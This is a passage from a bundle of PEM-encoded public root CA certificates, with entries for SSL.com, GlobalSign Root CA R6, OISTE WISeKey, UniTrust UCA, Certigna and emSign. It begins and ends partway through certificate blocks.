1xtZPCvM8hnIk2snYxnP/Okm+Mpxm3+T/jRnhE6Z6/yzeAkzcLpmpnbtG3PrGqUNxCITIJRWCk4s
bE6x/c+cCbqiM+2HAgMBAAGjYzBhMB0GA1UdDgQWBBTdBAkHovV6fVJTEpKV7jiAJQ2mWTAPBgNV
HRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFN0ECQei9Xp9UlMSkpXuOIAlDaZZMA4GA1UdDwEB/wQE
AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAIBgRlCn7Jp0cHh5wYfGVcpNxJK1ok1iOMq8bs3AD/CUr
dIWQPXhq9LmLpZc7tRiRux6n+UBbkflVma8eEdBcHadm47GUBwwyOabqG7B52B2ccETjit3E+ZUf
ijhDPwGFpUenPUayvOUiaPd7nNgsPgohyC0zrL/FgZkxdMF1ccW+sfAjRfSda/wZY52jvATGGAsl
u1OJD7OAUN5F7kR/q5R4ZJjT9ijdh9hwZXT7DrkT66cPYakylszeu+1jTBi7qUD3oFRuIIhxdRjq
erQ0cuAjJ3dctpDqhiVAq+8zD8ufgr6iIPv2tS0a5sKFsXQP+8hlAqRSAUfdSSLBv9jra6x+3uxj
MxW3IwiPxg+NQVrdjsW5j+VFP3jbutIbQLH+cU0/4IGiul607BXgk90IH37hVZkLId6Tngr75qNJ
vTYw/ud3sqB1l7UtgYgXZSD32pAAn8lSzDLKNXz1PQ/YK9f1JmzJBjSWFupwWRoyeXkLtoh/D1JI
Pb9s2KJELtFOt3JY04kTlf5Eq/jXixtunLwsoFvVagCvXzfh1foQC5ichucmj87w7G6KVwuA406y
wKBjYZC6VWg3dGq2ktufoYYitmUnDuy2n0Jg5GfCtdpBC8TTi2EbvPofkSvXRAdeuims2cXp71NI
WuuA8ShYIc2wBlX7Jz9TkHCpBB5XJ7k=
-----END CERTIFICATE-----

SSL.com Root Certification Authority ECC
========================================
-----BEGIN CERTIFICATE-----
MIICjTCCAhSgAwIBAgIIdebfy8FoW6gwCgYIKoZIzj0EAwIwfDELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xMTAv
BgNVBAMMKFNTTC5jb20gUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYwMjEy
MTgxNDAzWhcNNDEwMjEyMTgxNDAzWjB8MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMxEDAO
BgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjExMC8GA1UEAwwoU1NMLmNv
bSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BEVuqVDEpiM2nl8ojRfLliJkP9x6jh3MCLOicSS6jkm5BBtHllirLZXI7Z4INcgn64mMU1jrYor+
8FsPazFSY0E7ic3s7LaNGdM0B9y7xgZ/wkWV7Mt/qCPgCemB+vNH06NjMGEwHQYDVR0OBBYEFILR
hXMw5zUE044CkvvlpNHEIejNMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUgtGFczDnNQTT
jgKS++Wk0cQh6M0wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2cAMGQCMG/n61kRpGDPYbCW
e+0F+S8Tkdzt5fxQaxFGRrMcIQBiu77D5+jNB5n5DQtdcj7EqgIwH7y6C+IwJPt8bYBVCpk+gA0z
5Wajs6O7pdWLjwkspl1+4vAHCGht0nxpbl/f5Wpl
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority RSA R2
==============================================
-----BEGIN CERTIFICATE-----
MIIF6zCCA9OgAwIBAgIIVrYpzTS8ePYwDQYJKoZIhvcNAQELBQAwgYIxCzAJBgNVBAYTAlVTMQ4w
DAYDVQQIDAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9u
MTcwNQYDVQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIy
MB4XDTE3MDUzMTE4MTQzN1oXDTQyMDUzMDE4MTQzN1owgYIxCzAJBgNVBAYTAlVTMQ4wDAYDVQQI
DAVUZXhhczEQMA4GA1UEBwwHSG91c3RvbjEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMTcwNQYD
VQQDDC5TU0wuY29tIEVWIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgUlNBIFIyMIICIjAN
BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAjzZlQOHWTcDXtOlG2mvqM0fNTPl9fb69LT3w23jh
hqXZuglXaO1XPqDQCEGD5yhBJB/jchXQARr7XnAjssufOePPxU7Gkm0mxnu7s9onnQqG6YE3Bf7w
cXHswxzpY6IXFJ3vG2fThVUCAtZJycxa4bH3bzKfydQ7iEGonL3Lq9ttewkfokxykNorCPzPPFTO
Zw+oz12WGQvE43LrrdF9HSfvkusQv1vrO6/PgN3B0pYEW3p+pKk8OHakYo6gOV7qd89dAFmPZiw+
B6KjBSYRaZfqhbcPlgtLyEDhULouisv3D5oi53+aNxPN8k0TayHRwMwi8qFG9kRpnMphNQcAb9Zh
CBHqurj26bNg5U257J8UZslXWNvNh2n4ioYSA0e/ZhN2rHd9NCSFg83XqpyQGp8hLH94t2S42Oim
9HizVcuE0jLEeK6jj2HdzghTreyI/BXkmg3mnxp3zkyPuBQVPWKchjgGAGYS5Fl2WlPAApiiECto
RHuOec4zSnaqW4EWG7WK2NAAe15itAnWhmMOpgWVSbooi4iTsjQc2KRVbrcc0N6ZVTsj9CLg+Slm
JuwgUHfbSguPvuUCYHBBXtSuUDkiFCbLsjtzdFVHB3mBOagwE0TlBIqulhMlQg+5U8Sb/M3kHN48
+qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20Zp
qJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1
++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nx
Y/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2G
guDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDz
OFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7
CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5Wxq
lD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR
rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1
hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX
9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w==
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority ECC
===========================================
-----BEGIN CERTIFICATE-----
MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xNDAy
BgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYw
MjEyMTgxNTIzWhcNNDEwMjEyMTgxNTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx
EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NM
LmNvbSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB
BAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMAVIbc/R/fALhBYlzccBYy
3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1KthkuWnBaBu2+8KGwytAJKaNjMGEwHQYDVR0O
BBYEFFvKXuXe0oGqzagtZFG22XKbl+ZPMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe
5d7SgarNqC1kUbbZcpuX5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJ
N+vp1RPZytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZgh5Mm
m7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg==
-----END CERTIFICATE-----

GlobalSign Root CA - R6
=======================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEgMB4GA1UECxMX
R2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQxMjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9i
YWxTaWduIFJvb3QgQ0EgLSBSNjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFs
U2lnbjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQss
grRIxutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1kZguSgMpE
3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxDaNc9PIrFsmbVkJq3MQbF
vuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJwLnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqM
PKq0pPbzlUoSB239jLKJz9CgYXfIWHSw1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+
azayOeSsJDa38O+2HBNXk7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05O
WgtH8wY2SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/hbguy
CLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4nWUx2OVvq+aWh2IMP
0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpYrZxCRXluDocZXFSxZba/jJvcE+kN
b7gu3GduyYsRtYQUigAZcIN5kZeR1BonvzceMgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQE
AwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNV
HSMEGDAWgBSubAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN
nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGtIxg93eFyRJa0
lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr6155wsTLxDKZmOMNOsIeDjHfrY
BzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLjvUYAGm0CuiVdjaExUd1URhxN25mW7xocBFym
Fe944Hn+Xds+qkxV/ZoVqW/hpvvfcDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr
3TsTjxKM4kEaSHpzoHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB1
0jZpnOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfspA9MRf/T
uTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+vJJUEeKgDu+6B5dpffItK
oZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+t
JDfLRVpOoERIyNiwmcUVhAn21klJwGW45hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
-----END CERTIFICATE-----

OISTE WISeKey Global Root GC CA
===============================
-----BEGIN CERTIFICATE-----
MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQswCQYDVQQGEwJD
SDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEo
MCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRa
Fw00MjA1MDkwOTU4MzNaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQL
ExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh
bCBSb290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4nieUqjFqdr
VCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4Wp2OQ0jnUsYd4XxiWD1Ab
NTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7TrYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0E
AwMDaAAwZQIwJsdpW9zV57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtk
AjEA2zQgMgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9
-----END CERTIFICATE-----

UCA Global G2 Root
==================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9MQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBHbG9iYWwgRzIgUm9vdDAeFw0x
NjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0xCzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlU
cnVzdDEbMBkGA1UEAwwSVUNBIEdsb2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxeYrb3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmT
oni9kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzmVHqUwCoV
8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/RVogvGjqNO7uCEeBHANBS
h6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDcC/Vkw85DvG1xudLeJ1uK6NjGruFZfc8o
LTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIjtm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/
R+zvWr9LesGtOxdQXGLYD0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBe
KW4bHAyvj5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6DlNaBa
4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6iIis7nCs+dwp4wwc
OxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznPO6Q0ibd5Ei9Hxeepl2n8pndntd97
8XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFIHEjMz15DD/pQwIX4wVZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo
5sOASD0Ee/ojL3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5
1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl1qnN3e92mI0A
Ds0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oUb3n09tDh05S60FdRvScFDcH9
yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LVPtateJLbXDzz2K36uGt/xDYotgIVilQsnLAX
c47QN6MUPJiVAAwpBVueSUmxX8fjy88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHo
jhJi6IjMtX9Gl8CbEGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZk
bxqgDMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI+Vg7RE+x
ygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGyYiGqhkCyLmTTX8jjfhFn
RR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bXUB+K+wb1whnw0A==
-----END CERTIFICATE-----

UCA Extended Validation Root
============================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9u
IFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMxMDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8G
A1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrs
iWogD4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvSsPGP2KxF
Rv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aopO2z6+I9tTcg1367r3CTu
eUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dksHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR
59mzLC52LqGj3n5qiAno8geK+LLNEOfic0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH
0mK1lTnj8/FtDw5lhIpjVMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KR
el7sFsLzKuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/TuDv
B0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41Gsx2VYVdWf6/wFlth
WG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs1+lvK9JKBZP8nm9rZ/+I8U6laUpS
NwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQDfwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS
3H5aBZ8eNJr34RQwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQEL
BQADggIBADaNl8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR
ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQVBcZEhrxH9cM
aVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5c6sq1WnIeJEmMX3ixzDx/BR4
dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb
+7lsq+KePRXBOy5nAliRn+/4Qh8st2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOW
F3sGPjLtx7dCvHaj2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwi
GpWOvpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2CxR9GUeOc
GMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmxcmtpzyKEC2IPrNkZAJSi
djzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbMfjKaiJUINlK73nZfdklJrX+9ZSCyycEr
dhh2n1ax
-----END CERTIFICATE-----

Certigna Root CA
================
-----BEGIN CERTIFICATE-----
MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UE
BhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAwMiA0ODE0NjMwODEwMDAzNjEZ
MBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0xMzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjda
MFoxCzAJBgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYz
MDgxMDAwMzYxGTAXBgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sOty3tRQgX
stmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9MCiBtnyN6tMbaLOQdLNyz
KNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPuI9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8
JXrJhFwLrN1CTivngqIkicuQstDuI7pmTLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16
XdG+RCYyKfHx9WzMfgIhC59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq
4NYKpkDfePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3YzIoej
wpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWTCo/1VTp2lc5ZmIoJ
lXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1kJWumIWmbat10TWuXekG9qxf5kBdI
jzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp/
/TBt2dzhauH8XwIDAQABo4IBGjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw
HQYDVR0OBBYEFBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczovL3d3d3cuY2Vy
dGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilodHRwOi8vY3JsLmNlcnRpZ25h
LmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYraHR0cDovL2NybC5kaGlteW90aXMuY29tL2Nl
cnRpZ25hcm9vdGNhLmNybDANBgkqhkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOIt
OoldaDgvUSILSo3L6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxP
TGRGHVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH60BGM+RFq
7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncBlA2c5uk5jR+mUYyZDDl3
4bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdio2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd
8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS
6Cvu5zHbugRqh5jnxV/vfaci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaY
tlu3zM63Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayhjWZS
aX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw3kAP+HwV96LOPNde
E4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0=
-----END CERTIFICATE-----

emSign Root CA - G1
===================
-----BEGIN CERTIFICATE-----
MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYDVQQGEwJJTjET
MBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRl
ZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBHMTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgx
ODMwMDBaMGcxCzAJBgNVBAYTAklOMRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVk
aHJhIFRlY2hub2xvZ2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQzf2N4aLTN
LnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO8oG0x5ZOrRkVUkr+PHB1
cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aqd7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHW
DV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhMtTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ
6DqS0hdW5TUaQBw+jSztOd9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrH
hQIDAQABo0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQDAgEG
MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31xPaOfG1vR2vjTnGs2
vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjMwiI/aTvFthUvozXGaCocV685743Q
NcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6dGNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q
+Mri/Tm3R7nrft8EI6/6nAYH6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeih
U80Bv2noWgbyRQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
iN66zB+Afko=
-----END CERTIFICATE-----

emSign ECC Root CA - G3
=======================
-----BEGIN CERTIFICATE-----
MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQGEwJJTjETMBEG
A1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEg
MB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4
MTgzMDAwWjBrMQswCQYDVQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11
ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
RzMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0WXTsuwYc
